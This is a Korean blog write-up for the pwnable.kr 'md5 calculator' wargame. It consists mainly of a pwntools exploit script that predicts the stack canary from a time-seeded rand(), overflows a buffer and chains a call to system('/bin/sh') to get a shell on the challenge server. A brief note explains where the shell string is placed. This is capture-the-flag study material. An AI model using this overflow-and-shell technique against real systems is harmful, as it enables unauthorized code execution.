Wargame/▷ pwnable.kr
[pwnable.kr] md5 calculator
Gyeongje
2018. 7. 20. 20:06
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 | from pwn import * from base64 import * from ctypes import * import os libc = CDLL('libc.so.6') #s = process('./hash') s = remote('pwnable.kr', 9002) e = ELF('./hash') pr = 0x08048aa3 pppr = 0x0804908b g_buf = 0x804B0E0 cmd = "/bin/sh\x00" libc.srand(libc.time(0)) random = [] calc = 0 for i in range(8): random.append(libc.rand()) if i%3 == 0 and i != 0: calc -= random[i] elif i != 0: calc += random[i] calc &= 0xffffffff s.recvuntil(' : ') capcha = s.recvuntil('\n').split('\n')[0] print 'Capcha : ' + capcha canary = (int(capcha) & 0xffffffff) - calc & 0xffffffff print 'canary : ' + hex(canary) payload = 'A'*0x200 payload += p32(canary) payload += 'A'*8 payload += 'B'*4 #sfp payload += p32(e.plt['system']) payload += 'AAAA' payload += p32(g_buf + 720) #print len(b64encode(payload)) == 720 s.sendline(capcha) s.sendlineafter('me!\n', b64encode(payload)+cmd) s.interactive() | cs |
bss 영역 뒤에 /bin/sh\x00 을 쓸수 있는데
앞에 쓰려다가 \x00 땜에 짤려가지고 좀 해맸다.
그냥 페이로드 length 구해서 입력받는 전역변수 주소에 더해주면 된다.
system 함수가 존재하기 때문.